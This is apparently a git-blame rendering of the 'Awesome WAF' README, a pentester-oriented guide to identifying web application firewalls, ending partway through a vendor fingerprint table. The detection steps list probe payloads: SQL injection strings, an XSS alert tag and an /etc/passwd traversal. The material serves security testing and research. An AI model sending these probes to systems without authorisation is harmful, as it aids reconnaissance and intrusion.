2019-02-26 14:34:28 +07:00
# Awesome WAF [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg "Awesome")](https://github.com/0xinfection/awesome-waf)
2023-05-17 11:42:58 +07:00
Everything about web application firewalls (WAFs) from a security perspective. 🔥
2019-02-09 15:04:02 +07:00
>
2023-05-17 11:42:58 +07:00
> __Foreword:__ This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."
2019-02-07 19:56:10 +07:00
2019-01-08 12:36:28 +07:00
![Main Logo ](images/how-wafs-work.png 'How wafs work' )
2019-01-08 12:20:12 +07:00
2023-05-17 11:42:07 +07:00
__A Concise Definition:__ A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source: [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))*
A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.
2019-01-08 12:20:12 +07:00
2019-02-07 19:58:31 +07:00
Feel free to [contribute ](CONTRIBUTING.md ).
2019-01-08 12:20:12 +07:00
### Contents:
2019-02-26 13:44:18 +07:00
- [Introduction ](#introduction )
- [How WAFs Work ](#how-wafs-work )
- [Operation Modes ](#operation-modes )
- [Testing Methodology ](#testing-methodology )
- [Where To Look ](#where-to-look )
- [Detection Techniques ](#detection-techniques )
- [WAF Fingerprints ](#waf-fingerprints )
- [Evasion Techniques ](#evasion-techniques )
- [Fuzzing/Bruteforcing ](#fuzzingbruteforcing )
- [Regex Reversing ](#regex-reversing )
- [Obfuscation/Encoding ](#obfuscation )
- [Browser Bugs ](#browser-bugs )
- [HTTP Header Spoofing ](#request-header-spoofing )
- [Google Dorks Approach ](#google-dorks-approach )
- [Known Bypasses ](#known-bypasses )
- [Awesome Tooling ](#awesome-tools )
- [Fingerprinting ](#fingerprinting )
- [Testing ](#testing )
- [Evasion ](#evasion )
- [Blogs & Writeups ](#blogs-and-writeups )
- [Video Presentations ](#video-presentations )
2019-02-26 14:21:32 +07:00
- [Research Presentations & Papers ](#presentations--research-papers )
2019-02-26 13:44:18 +07:00
- [Research Papers ](#research-papers )
- [Presentation Slides ](#presentations )
- [Licensing & Credits ](#credits--license )
2019-01-26 14:37:22 +07:00
2019-02-26 13:44:18 +07:00
## Introduction:
### How WAFs Work:
2019-01-26 14:37:22 +07:00
- Using a set of rules to distinguish between normal requests and malicious requests.
- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
2019-02-26 13:44:18 +07:00
### Operation Modes:
2023-05-17 11:42:07 +07:00
- __Negative Model (Blacklist based)__ - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all `<script>*</script>` inputs prevent basic cross-site scripting attacks.
- __Positive Model (Whitelist based)__ - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
- __Mixed/Hybrid Model (Inclusive model)__ - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).
2019-01-26 14:37:22 +07:00
2019-02-13 20:25:39 +07:00
## Testing Methodology:
2019-01-26 14:37:22 +07:00
### Where To Look:
2023-05-17 11:42:07 +07:00
- Always look out for common ports that expose that a WAF, namely `80` , `443` , `8000` , `8080` and `8888` ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.
- Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).
- Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF).
- Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).
- Some expose themselves in the `Server` header (e.g. Approach, WTS WAF).
- Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).
- Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).
2019-01-26 14:37:22 +07:00
### Detection Techniques:
2019-02-27 14:58:29 +07:00
To identify WAFs, we need to (dummy) provoke it.
2019-03-06 20:08:11 +07:00
1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
2019-01-26 14:37:22 +07:00
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
2019-02-28 11:15:18 +07:00
3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.
2023-05-17 11:42:07 +07:00
4. On login pages, inject common (easily detectable) payloads like `" or 1 = 1 --` .
5. Inject noisy payloads like `<script>alert()</script>` into search bars, contact forms and other input fields.
2019-02-28 11:15:18 +07:00
6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL.
7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter.
8. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries).
9. Many a times, the WAF varies the `Server` header upon different types of interactions.
10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
2019-02-06 20:03:23 +07:00
> __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net).
2023-05-17 11:42:07 +07:00
11. Side Channel Attacks - Examine the timing behaviour of the request and response content.
> __Tip:__ More details can be found in a [blogpost here](https://0xinfection.github.io/posts/fingerprinting-wafs-side-channel/).
2019-01-26 14:37:22 +07:00
2019-02-26 13:44:18 +07:00
## WAF Fingerprints
2019-03-06 20:08:11 +07:00
Wanna fingerprint WAFs? Lets see how.
2019-02-27 11:23:14 +07:00
> __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#evasion-techniques).
2019-01-26 14:37:22 +07:00
2019-01-28 19:55:38 +07:00
< table >
2019-03-27 12:15:58 +07:00
< tr >
< td align = "center" > < b > WAF< / b > < / td >
< td align = "center" > < b > Fingerprints< / b > < / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
360
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability:< / b > Easy < / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Returns status code < code > 493< / code > upon unusual requests.< / li >
2019-07-21 20:42:52 +07:00
< li > Blockpage may contain reference to < code > wzws-waf-cgi/< / code > directory.< / li >
< li > Blocked response page source may contain:
2019-02-27 14:58:29 +07:00
< ul >
< li > Reference to < code > wangshan.360.cn< / code > URL.< / li >
2019-03-18 22:27:01 +07:00
< li > < code > Sorry! Your access has been intercepted because your links may threaten website security.< / code > text snippet.< / li >
2019-02-27 14:58:29 +07:00
< / ul >
2019-07-21 20:42:52 +07:00
< li > Response headers may contain < code > X-Powered-By-360WZB< / code > header.< / li >
< li > Blocked response headers contain unique header < code > WZWS-Ray< / code > .< / li >
< li > < code > Server< / code > header may contain value < code > qianxin-waf< / code > .< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
aeSecure
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response content contains < code > aesecure_denied.png< / code > image (view source to see).< / li >
< li > Response headers contain < code > aeSecure-code< / code > value.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
Airlock
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate/Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-02-20 03:18:48 +07:00
< li > < code > Set-Cookie< / code > headers may contain:< / li >
< ul >
< li > < code > AL-SESS< / code > cookie field name (case insensitive).< / li >
< li > < code > AL-LB< / code > value (case insensitive).< / li >
< / ul >
2019-03-18 22:27:01 +07:00
< li > Blocked response page contains:< / li >
< ul >
< li > < code > Server detected a syntax error in your request< / code > text.< / li >
< li > < code > Check your request and all parameters< / code > text snippet.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
AlertLogic
2019-03-18 22:27:01 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability:< / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains:< / li >
< ul >
< li > < code > We are sorry, but the page you are looking for cannot be found< / code > text snippet.< / li >
< li > < code > The page has either been removed, renamed or temporarily unavailable< / code > text.< / li >
< li > < code > 404 Not Found< / code > in red letters.< / li >
< / ul >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-02-26 22:26:18 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Aliyundun
2019-02-26 22:26:18 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability:< / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains:< / li >
< ul >
< li > < code > Sorry, your request has been blocked as it may cause potential threats to the server's security< / code > text snippet.< / li >
2019-03-02 20:40:08 +07:00
< li > Reference to < code > errors.aliyun.com< / code > site URL.< / li >
2019-02-26 22:26:18 +07:00
< / ul >
2019-03-18 22:27:01 +07:00
< li > Blocked response code returned is < code > 405< / code > .< / li >
2019-02-26 22:26:18 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Anquanbao
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Returns blocked HTTP response code < code > 405< / code > upon malicious requests.< / li >
< li > Blocked response content may contain < code > /aqb_cc/error/< / code > or < code > hidden_intercept_time< / code > .< / li >
< li > Response headers contain < code > X-Powered-by-Anquanbao< / code > header field.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-21 11:43:19 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Anyu
2019-03-21 11:43:19 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response content contains < code > Sorry! your access has been intercepted by AnYu< / code > < / li >
< li > Blocked response page contains < code > AnYu- the green channel< / code > text.< / li >
< li > Response headers may contain unusual header < code > WZWS-RAY< / code > .< / li >
< / ul >
< / ul >
< / td >
2019-01-29 20:27:54 +07:00
< / tr >
< tr >
< td >
2019-05-22 12:42:18 +07:00
Approach
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
2019-03-18 22:27:01 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-01-29 20:27:54 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-18 22:27:01 +07:00
< li > Blocked response page content may contain:< / li >
< ul >
< li > < code > Approach Web Application Firewall Framework< / code > heading.< / li >
< li > < code > Your IP address has been logged and this information could be used by authorities to track you.< / code > warning.< / li >
< li > < code > Sorry for the inconvenience!< / code > keyword.< / li >
< li > < code > Approach infrastructure team< / code > text snippet.< / li >
< / ul >
< li > < code > Server< / code > header has field value set to < code > Approach< / code > .< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-02-11 20:52:49 +07:00
< tr >
< td >
2019-03-18 22:27:01 +07:00
Armor Defense
2019-02-11 20:52:49 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-18 22:27:01 +07:00
< li > Blocked response content contains:
2019-02-11 20:52:49 +07:00
< ul >
2019-03-18 22:27:01 +07:00
< li > < code > This request has been blocked by website protection from Armor< / code > text.< / li >
< li > < code > If you manage this domain please create an Armor support ticket< / code > snippet.< / li >
2019-02-11 20:52:49 +07:00
< / ul >
2019-03-18 22:27:01 +07:00
< / li >
2019-02-11 20:52:49 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-08-23 17:52:43 +07:00
< tr >
< td >
ArvanCloud
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains < code > ArvanCloud< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
ASPA
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains < code > ASPA-WAF< / code > keyword.< / li >
< li > Response contain unique header < code > ASPA-Cache-Status< / code > with content < code > HIT< / code > or < code > MISS< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
ASP.NET Generic
2019-03-02 20:40:08 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers may contain < code > X-ASPNET-Version< / code > header value.< / li >
< li > Blocked response page content may contain:< / li >
< ul >
< li > < code > This generic 403 error means that the authenticated user is not authorized to use the requested resource< / code > .< / li >
< li > < code > Error Code 0x00000000< < / code > keyword.< / li >
< / ul >
< li > < code > X-Powered-By< / code > header has field value set to < code > ASP.NET< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-05-22 12:42:18 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Astra
2019-05-22 12:42:18 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page content may contain:< / li >
< ul >
< li > < code > Sorry, this is not allowed.< / code > in < code > h1< / code > .< / li >
< li > < code > our website protection system has detected an issue with your IP address and wont let you proceed any further< / code > text snippet.< / li >
< li > Reference to < code > www.getastra.com/assets/images/< / code > URL.< / li >
< / ul >
< li > Response cookies has field value < code > cz_astra_csrf_cookie< / code > in response headers.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
AWS ELB
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-13 14:37:27 +07:00
< li > Response headers might contain:
< ul >
< li > < code > AWSALB< / code > cookie field value.< / li >
< li > < code > X-AMZ-ID< / code > header.< / li >
< li > < code > X-AMZ-REQUEST-ID< / code > header.< / li >
< / ul >
< / li >
< li > Response page may contain:
< ul >
< li > < code > Access Denied< / code > in their keyword.< / li >
< li > Request token ID with length from 20 to 25 between < code > RequestId< / code > tag.< / li >
< / ul >
2019-03-18 22:27:01 +07:00
< / li >
2019-03-29 11:05:20 +07:00
< li > < code > Server< / code > header field contains < code > awselb/2.0< / code > value.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-02-22 20:27:56 +07:00
Baidu Yunjiasu
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-04-06 13:56:40 +07:00
< li > < code > Server< / code > header may contain < code > Yunjiasu-nginx< / code > value.< / li >
< li > < code > Server< / code > header may contain < code > Yunjiasu< / code > value.
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Barikode
2019-03-02 20:40:08 +07:00
< / td >
< td >
< ul >
2019-03-06 20:08:11 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-03-02 20:40:08 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-06 20:08:11 +07:00
< li > Blocked response page content contains:
2019-03-02 20:40:08 +07:00
< ul >
2019-03-06 20:08:11 +07:00
< li > < code > BARIKODE< / code > keyword.< / li >
2019-03-02 20:40:08 +07:00
< li > < code > Forbidden Access< / code > text snippet in < code > h1< / code > .< / li >
< / ul >
< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Barracuda
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response cookies may contain < code > barra_counter_session< / code > value.< / li >
2019-02-08 20:11:23 +07:00
< li > Response headers may contain < code > barracuda_< / code > keyword.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
2019-03-18 22:27:01 +07:00
< li > Response page contains:< / li >
< ul >
< li > < code > You have been blocked< / code > heading.< / li >
< li > < code > You are unable to access this website< / code > text.< / li >
< / ul >
2019-01-29 20:27:54 +07:00
< / ul >
< / td >
< / tr >
2019-02-06 20:03:23 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Bekchy
2019-02-06 20:03:23 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-02-22 20:27:56 +07:00
< li > Blocked response headers contains < code > Bekchy - Access Denied< / code > .< / li >
2019-02-06 20:03:23 +07:00
< li > Blocked response page contains reference to < code > https://bekchy.com/report< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
BinarySec
2019-02-06 20:03:23 +07:00
< / td >
< td >
< ul >
2019-10-04 14:16:58 +07:00
< li > < b > Detectability: < / b > Moderate< / li >
2019-02-06 20:03:23 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-10-04 14:16:58 +07:00
< li > Response headers contain:< / li >
2019-02-06 20:03:23 +07:00
< ul >
2019-10-04 14:16:58 +07:00
< li > < code > X-BinarySec-Via< / code > field.< / li >
< li > < code > X-BinarySec-NoCache< / code > field.< / li >
< li > < code > Server< / code > header contains < code > BinarySec< / code > keyword.< / li >
2019-02-06 20:03:23 +07:00
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
BitNinja
2019-02-06 20:03:23 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-10-04 14:16:58 +07:00
< li > Blocked response page may contain:< / li >
< ul >
< li > < code > Security check by BitNinja< / code > text snippet.< / li >
< li > < code > your IP will be removed from BitNinja< / code > .< / li >
< li > < code > Visitor anti-robot validation< / code > text snippet.< / li >
< li > < code > (You will be challenged by a reCAPTCHA page)< / code > text.< / li >
< / ul >
2019-02-06 20:03:23 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
BIG-IP ASM
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers may contain < code > BigIP< / code > or < code > F5< / code > keyword value.< / li >
< li > Response header fields may contain < code > X-WA-Info< / code > header.< / li >
< li > Response headers might have jumbled < code > X-Cnection< / code > field value.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
BlockDos
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-10-04 14:16:58 +07:00
< li > < code > Server< / code > header contains value < code > BlockDos.net< / code > .< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
Bluedon IST
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
2019-10-04 14:16:58 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-01-29 20:27:54 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-10-04 14:16:58 +07:00
< li > < code > Server< / code > header contains < code > BDWAF< / code > field value.< / li >
< li > Blocked response page contains to < code > Bluedon Web Application Firewall< / code > text snippet..< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-05-22 12:42:18 +07:00
< tr >
< td >
BulletProof Security Pro
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains:
< ul >
< li > < code > div< / code > with id as < code > bpsMessage< / code > text snippet.< / li >
< li > < code > If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page.< / code > text snippet.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-26 22:46:40 +07:00
< tr >
< td >
CDN NS Application Gateway
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-18 22:27:01 +07:00
< li > Blocked response page contains < code > CdnNsWAF Application Gateway< / code > text snippet.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
Cerber (WordPress)
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains:
< ul >
< li > < code > We're sorry, you are not allowed to proceed< / code > text snippet.< / li >
< li > < code > Your request looks suspicious or similar to automated requests from spam posting software< / code > warning.< / li >
< / ul >
2019-02-26 22:46:40 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-05-22 13:57:46 +07:00
< tr >
< td >
Chaitin Safeline
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains < code > event_id< / code > keyword within HTML comments.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
ChinaCache
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain < code > Powered-by-ChinaCache< / code > field.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-02-26 22:46:40 +07:00
Cisco ACE XML Gateway
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-29 11:05:20 +07:00
< li > < code > Server< / code > header has value < code > ACE XML Gateway< / code > set.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-05-22 12:42:18 +07:00
Cloudbric
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-18 22:27:01 +07:00
< li > Response content contains:< / li >
< ul >
< li > < code > Malicious Code Detected< / code > heading.< / li >
< li > < code > Your request was blocked by Cloudbric< / code > text snippet.< / li >
2019-04-06 22:16:50 +07:00
< li > Reference to < code > https://cloudbric.zendesk.com< / code > URL.
< li > < code > Cloudbric Help Center< / code > text.< / li >
< li > Page title starting with < code > Cloudbric | ERROR!< / code > .< / li >
2019-03-18 22:27:01 +07:00
< / ul >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
Cloudflare
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers might have < code > cf-ray< / code > field value.< / li >
< li > < code > Server< / code > header field has value < code > cloudflare< / code > .< / li >
< li > < code > Set-Cookie< / code > response headers have < code > __cfuid=< / code > cookie field.< / li >
< li > Page content might have < code > Attention Required!< / code > or < code > Cloudflare Ray ID:< / code > .< / li >
2019-08-13 10:00:07 +07:00
< li > Page content may contain < code > DDoS protection by Cloudflare< / code > as text.< / li >
2019-01-29 20:27:54 +07:00
< li > You may encounter < code > CLOUDFLARE_ERROR_500S_BOX< / code > upon hitting invalid URLs.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
CloudfloorDNS
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header field has value < code > CloudfloorDNS WAF< / code > .< / li >
< li > Block-page title might have < code > CloudfloorDNS - Web Application Firewall Error< / code > .< / li >
< li > Page content may contain < code > www.cloudfloordns.com/contact< / code > URL as a contact link.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
Cloudfront
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-18 22:27:01 +07:00
< li > Blocked response content contains < code > Generated by cloudfront (CloudFront)< / code > error upon malicious request.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-05-22 12:42:18 +07:00
Comodo cWatch
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-18 22:27:01 +07:00
< li > < code > Server< / code > header contains < code > Protected by COMODO WAF< / code > value.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
CrawlProtect
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-04-07 19:46:17 +07:00
< li > Response cookies might contain < code > crawlprotect< / code > cookie name.< / li >
< li > Block Page title has < code > CrawlProtect< / code > keyword in it.< / li >
2019-03-18 22:27:01 +07:00
< li > Blocked response content contains value< br > < code > This site is protected by CrawlProtect !!!< / code > upon malicious request.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-05-22 12:42:18 +07:00
Deny-All
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response content contains value < code > Condition Intercepted< / code > .< / li >
< li > < code > Set-Cookie< / code > header contains cookie field < code > sessioncookie< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-05-22 12:42:18 +07:00
Distil Web Protection
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain field value < code > X-Distil-CS< / code > in all requests.< / li >
2019-03-19 12:11:32 +07:00
< li > Blocked response page contains:< / li >
< ul >
< li > < code > Pardon Our Interruption...< / code > heading.< / li >
< li > < code > You have disabled javascript in your browser.< / code > text snippet.< / li >
< li > < code > Something about your browser made us think that you are a bot.< / code > text.< / li >
< / ul >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
DoSArrest Internet Security
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain field value < code > X-DIS-Request-ID< / code > .< / li >
2019-03-29 11:05:20 +07:00
< li > < code > Server< / code > header contains < code > DOSarrest< / code > keyword.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-05-22 12:48:52 +07:00
DotDefender
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response content contains value< br > < code > dotDefender Blocked Your Request< / code > .< / li >
< li > Blocked response headers contain < code > X-dotDefender-denied< / code > field value.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
DynamicWeb Injection Check
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response headers contain < code > X-403-Status-By< / code > field with value < code > dw-inj-check< / code > value.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-10-04 14:16:58 +07:00
< tr >
< td >
e3Learning Security
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains < code > e3Learning_WAF< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
EdgeCast (Verizon)
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
